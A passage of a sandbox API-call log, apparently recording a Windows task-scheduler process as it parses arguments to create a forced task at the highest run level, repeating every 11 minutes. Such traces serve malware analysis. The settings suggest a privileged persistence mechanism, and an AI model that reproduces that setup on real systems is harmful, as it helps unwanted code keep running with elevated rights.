(lpStart=" \x09", wMatch=0x53) returned 0x0 [0065.004] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0065.004] GetLastError () returned 0x0 [0065.004] lstrlenW (lpString="HIGHEST") returned 7 [0065.004] lstrlenW (lpString="HIGHEST") returned 7 [0065.004] SetLastError (dwErrCode=0x0) [0065.004] SetLastError (dwErrCode=0x0) [0065.004] lstrlenW (lpString="/f") returned 2 [0065.004] lstrlenW (lpString="-/") returned 2 [0065.004] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0065.004] lstrlenW (lpString="create") returned 6 [0065.004] lstrlenW (lpString="create") returned 6 [0065.004] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.004] lstrlenW (lpString="f") returned 1 [0065.004] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.004] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0065.004] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.004] lstrlenW (lpString="|create|") returned 8 [0065.004] lstrlenW (lpString="|f|") returned 3 [0065.004] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0065.004] SetLastError (dwErrCode=0x490) [0065.004] lstrlenW (lpString="?") returned 1 [0065.004] lstrlenW (lpString="?") returned 1 [0065.004] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.004] lstrlenW (lpString="f") returned 1 [0065.004] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.004] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0065.005] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.005] lstrlenW (lpString="|?|") returned 3 [0065.005] lstrlenW (lpString="|f|") returned 3 [0065.005] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0065.005] SetLastError (dwErrCode=0x490) [0065.005] lstrlenW (lpString="s") returned 1 [0065.005] lstrlenW (lpString="s") returned 1 [0065.005] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.005] lstrlenW (lpString="f") returned 1 [0065.005] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.005] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0065.005] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.005] lstrlenW (lpString="|s|") returned 3 [0065.005] lstrlenW (lpString="|f|") returned 3 [0065.005] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0065.005] SetLastError (dwErrCode=0x490) [0065.005] lstrlenW (lpString="u") returned 1 [0065.005] lstrlenW (lpString="u") returned 1 [0065.005] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.005] lstrlenW (lpString="f") returned 1 [0065.005] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.005] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0065.005] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.005] lstrlenW (lpString="|u|") returned 3 [0065.005] lstrlenW (lpString="|f|") returned 3 [0065.005] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0065.005] SetLastError (dwErrCode=0x490) [0065.005] lstrlenW (lpString="p") returned 1 [0065.005] lstrlenW (lpString="p") returned 1 [0065.006] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.006] lstrlenW (lpString="f") returned 1 [0065.006] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.006] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0065.006] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.006] lstrlenW (lpString="|p|") returned 3 [0065.006] lstrlenW (lpString="|f|") returned 3 [0065.006] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0065.006] SetLastError (dwErrCode=0x490) [0065.006] lstrlenW (lpString="ru") returned 2 [0065.006] lstrlenW (lpString="ru") returned 2 [0065.006] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.006] lstrlenW (lpString="f") returned 1 [0065.006] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.006] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0065.006] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.006] lstrlenW (lpString="|ru|") returned 4 [0065.006] lstrlenW (lpString="|f|") returned 3 [0065.006] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0065.006] SetLastError (dwErrCode=0x490) [0065.006] lstrlenW (lpString="rp") returned 2 [0065.006] lstrlenW (lpString="rp") returned 2 [0065.006] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.006] lstrlenW (lpString="f") returned 1 [0065.007] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.007] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0065.007] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.007] lstrlenW (lpString="|rp|") returned 4 [0065.007] lstrlenW (lpString="|f|") returned 3 [0065.007] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0065.007] SetLastError (dwErrCode=0x490) [0065.007] lstrlenW (lpString="sc") returned 2 [0065.007] lstrlenW (lpString="sc") returned 2 [0065.007] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.007] lstrlenW (lpString="f") returned 1 [0065.007] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.007] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0065.007] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.007] lstrlenW (lpString="|sc|") returned 4 [0065.007] lstrlenW (lpString="|f|") returned 3 [0065.007] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0065.007] SetLastError (dwErrCode=0x490) [0065.007] lstrlenW (lpString="mo") returned 2 [0065.007] lstrlenW (lpString="mo") returned 2 [0065.007] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.007] lstrlenW (lpString="f") returned 1 [0065.007] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.007] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0065.008] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.008] lstrlenW (lpString="|mo|") returned 4 [0065.008] lstrlenW (lpString="|f|") returned 3 [0065.008] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0065.008] SetLastError (dwErrCode=0x490) [0065.008] lstrlenW (lpString="d") returned 1 [0065.008] lstrlenW (lpString="d") returned 1 [0065.008] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.008] lstrlenW (lpString="f") returned 1 [0065.008] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.008] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|d|") returned 3 [0065.008] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.008] lstrlenW (lpString="|d|") returned 3 [0065.008] lstrlenW (lpString="|f|") returned 3 [0065.008] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0065.008] SetLastError (dwErrCode=0x490) [0065.008] lstrlenW (lpString="m") returned 1 [0065.008] lstrlenW (lpString="m") returned 1 [0065.008] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.008] lstrlenW (lpString="f") returned 1 [0065.008] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.008] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|m|") returned 3 [0065.008] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.008] lstrlenW (lpString="|m|") returned 3 [0065.008] lstrlenW (lpString="|f|") returned 3 [0065.009] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0065.009] SetLastError (dwErrCode=0x490) [0065.009] lstrlenW (lpString="i") returned 1 [0065.009] lstrlenW (lpString="i") returned 1 [0065.009] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.009] lstrlenW (lpString="f") returned 1 [0065.009] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.009] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|i|") returned 3 [0065.009] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.009] lstrlenW (lpString="|i|") returned 3 [0065.009] lstrlenW (lpString="|f|") returned 3 [0065.009] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0065.009] SetLastError (dwErrCode=0x490) [0065.009] lstrlenW (lpString="tn") returned 2 [0065.009] lstrlenW (lpString="tn") returned 2 [0065.009] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.009] lstrlenW (lpString="f") returned 1 [0065.009] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.009] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0065.009] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.009] lstrlenW (lpString="|tn|") returned 4 [0065.009] lstrlenW (lpString="|f|") returned 3 [0065.009] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0065.009] SetLastError (dwErrCode=0x490) [0065.010] lstrlenW (lpString="tr") returned 2 [0065.010] lstrlenW (lpString="tr") returned 2 [0065.010] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.010] lstrlenW (lpString="f") returned 1 [0065.010] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.010] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0065.010] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.010] lstrlenW (lpString="|tr|") returned 4 [0065.010] lstrlenW (lpString="|f|") returned 3 [0065.010] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0065.010] SetLastError (dwErrCode=0x490) [0065.010] lstrlenW (lpString="st") returned 2 [0065.010] lstrlenW (lpString="st") returned 2 [0065.010] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.010] lstrlenW (lpString="f") returned 1 [0065.010] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.010] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|st|") returned 4 [0065.010] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.010] lstrlenW (lpString="|st|") returned 4 [0065.010] lstrlenW (lpString="|f|") returned 3 [0065.010] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0065.010] SetLastError (dwErrCode=0x490) [0065.010] lstrlenW (lpString="sd") returned 2 [0065.010] lstrlenW (lpString="sd") returned 2 [0065.011] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.011] lstrlenW (lpString="f") returned 1 [0065.011] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.011] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sd|") returned 4 [0065.011] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.011] lstrlenW (lpString="|sd|") returned 4 [0065.011] lstrlenW (lpString="|f|") returned 3 [0065.011] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0065.011] SetLastError (dwErrCode=0x490) [0065.011] lstrlenW (lpString="ed") returned 2 [0065.011] lstrlenW (lpString="ed") returned 2 [0065.011] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.011] lstrlenW (lpString="f") returned 1 [0065.011] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.011] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ed|") returned 4 [0065.011] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.011] lstrlenW (lpString="|ed|") returned 4 [0065.011] lstrlenW (lpString="|f|") returned 3 [0065.011] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0065.011] SetLastError (dwErrCode=0x490) [0065.011] lstrlenW (lpString="it") returned 2 [0065.011] lstrlenW (lpString="it") returned 2 [0065.011] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.011] lstrlenW (lpString="f") returned 1 [0065.012] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.012] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|it|") returned 4 [0065.012] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.012] lstrlenW (lpString="|it|") returned 4 [0065.012] lstrlenW (lpString="|f|") returned 3 [0065.012] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0065.012] SetLastError (dwErrCode=0x490) [0065.012] lstrlenW (lpString="et") returned 2 [0065.012] lstrlenW (lpString="et") returned 2 [0065.012] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.012] lstrlenW (lpString="f") returned 1 [0065.012] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.012] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|et|") returned 4 [0065.012] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.012] lstrlenW (lpString="|et|") returned 4 [0065.012] lstrlenW (lpString="|f|") returned 3 [0065.012] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0065.012] SetLastError (dwErrCode=0x490) [0065.012] lstrlenW (lpString="k") returned 1 [0065.012] lstrlenW (lpString="k") returned 1 [0065.012] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.012] lstrlenW (lpString="f") returned 1 [0065.012] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.012] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|k|") returned 3 [0065.012] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.013] lstrlenW (lpString="|k|") returned 3 [0065.013] lstrlenW (lpString="|f|") returned 3 [0065.013] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0065.013] SetLastError (dwErrCode=0x490) [0065.013] lstrlenW (lpString="du") returned 2 [0065.013] lstrlenW (lpString="du") returned 2 [0065.013] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.013] lstrlenW (lpString="f") returned 1 [0065.050] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.050] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|du|") returned 4 [0065.050] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.050] lstrlenW (lpString="|du|") returned 4 [0065.050] lstrlenW (lpString="|f|") returned 3 [0065.050] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0065.050] SetLastError (dwErrCode=0x490) [0065.050] lstrlenW (lpString="ri") returned 2 [0065.051] lstrlenW (lpString="ri") returned 2 [0065.051] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.051] lstrlenW (lpString="f") returned 1 [0065.051] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.051] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ri|") returned 4 [0065.051] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.051] lstrlenW (lpString="|ri|") returned 4 [0065.051] lstrlenW (lpString="|f|") returned 3 [0065.051] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0065.051] SetLastError (dwErrCode=0x490) [0065.051] lstrlenW (lpString="z") returned 1 [0065.051] lstrlenW (lpString="z") returned 1 [0065.051] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.051] lstrlenW (lpString="f") returned 1 [0065.051] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.051] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|z|") returned 3 [0065.051] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.051] lstrlenW (lpString="|z|") returned 3 [0065.051] lstrlenW (lpString="|f|") returned 3 [0065.051] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0065.051] SetLastError (dwErrCode=0x490) [0065.051] lstrlenW (lpString="f") returned 1 [0065.052] lstrlenW (lpString="f") returned 1 [0065.052] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.052] lstrlenW (lpString="f") returned 1 [0065.052] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.052] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.052] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0065.052] lstrlenW (lpString="|f|") returned 3 [0065.052] lstrlenW (lpString="|f|") returned 3 [0065.052] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0065.052] SetLastError (dwErrCode=0x0) [0065.052] SetLastError (dwErrCode=0x0) [0065.052] GetProcessHeap () returned 0x330000 [0065.052] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cf10 [0065.052] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.052] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0065.052] lstrlenW (lpString="LIMITED") returned 7 [0065.052] GetProcessHeap () returned 0x330000 [0065.052] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x10) returned 0x34d700 [0065.052] GetThreadLocale () returned 0x409 [0065.052] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0065.052] GetProcessHeap () returned 0x330000 [0065.052] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cee0 [0065.052] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.053] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0065.053] lstrlenW (lpString="HIGHEST") returned 7 [0065.053] GetProcessHeap () returned 0x330000 [0065.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x10) returned 0x34d720 [0065.053] GetThreadLocale () returned 0x409 [0065.053] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0065.053] GetProcessHeap () returned 0x330000 [0065.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ceb0 [0065.053] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.053] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0065.053] lstrlenW (lpString="MINUTE") returned 6 [0065.053] GetProcessHeap () returned 0x330000 [0065.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34d740 [0065.053] GetThreadLocale () returned 0x409 [0065.053] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0065.053] SetLastError (dwErrCode=0x0) [0065.053] GetProcessHeap () returned 0x330000 [0065.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x1fc) returned 0x34c4f0 [0065.053] GetProcessHeap () returned 0x330000 [0065.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ce80 [0065.054] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.054] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0065.054] lstrlenW (lpString="First") returned 5 [0065.054] GetProcessHeap () returned 0x330000 [0065.054] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xc) returned 0x34d760 [0065.054] GetProcessHeap () returned 0x330000 [0065.054] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ce50 [0065.054] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.054] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0065.054] lstrlenW (lpString="Second") returned 6 [0065.054] GetProcessHeap () returned 0x330000 [0065.054] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34d780 [0065.054] GetProcessHeap () returned 0x330000 [0065.054] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ce20 [0065.054] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.054] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0065.054] lstrlenW (lpString="Third") returned 5 [0065.054] GetProcessHeap () returned 0x330000 [0065.054] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xc) returned 0x34d7a0 [0065.054] GetProcessHeap () returned 0x330000 [0065.054] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cdf0 [0065.054] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.054] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0065.054] lstrlenW (lpString="Fourth") returned 6 [0065.054] GetProcessHeap () returned 0x330000 [0065.055] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34d7c0 [0065.055] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.055] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0065.055] lstrlenW (lpString="Last") returned 4 [0065.055] GetProcessHeap () returned 0x330000 [0065.055] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xa) returned 0x34d7e0 [0065.055] lstrlenW (lpString="11") returned 2 [0065.055] _wtol (_String="11") returned 11 [0065.055] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.055] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0065.055] lstrlenW (lpString="First") returned 5 [0065.055] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.055] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0065.055] lstrlenW (lpString="Second") returned 6 [0065.055] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.055] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0065.055] lstrlenW (lpString="Third") returned 5 [0065.055] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.055] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0065.055] lstrlenW (lpString="Fourth") returned 6 [0065.056] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.056] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0065.056] lstrlenW (lpString="Last") returned 4 [0065.056] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c6e0, cchData=128 | out: lpLCData="0") returned 2 [0065.056] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0065.056] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0065.056] lstrlenW 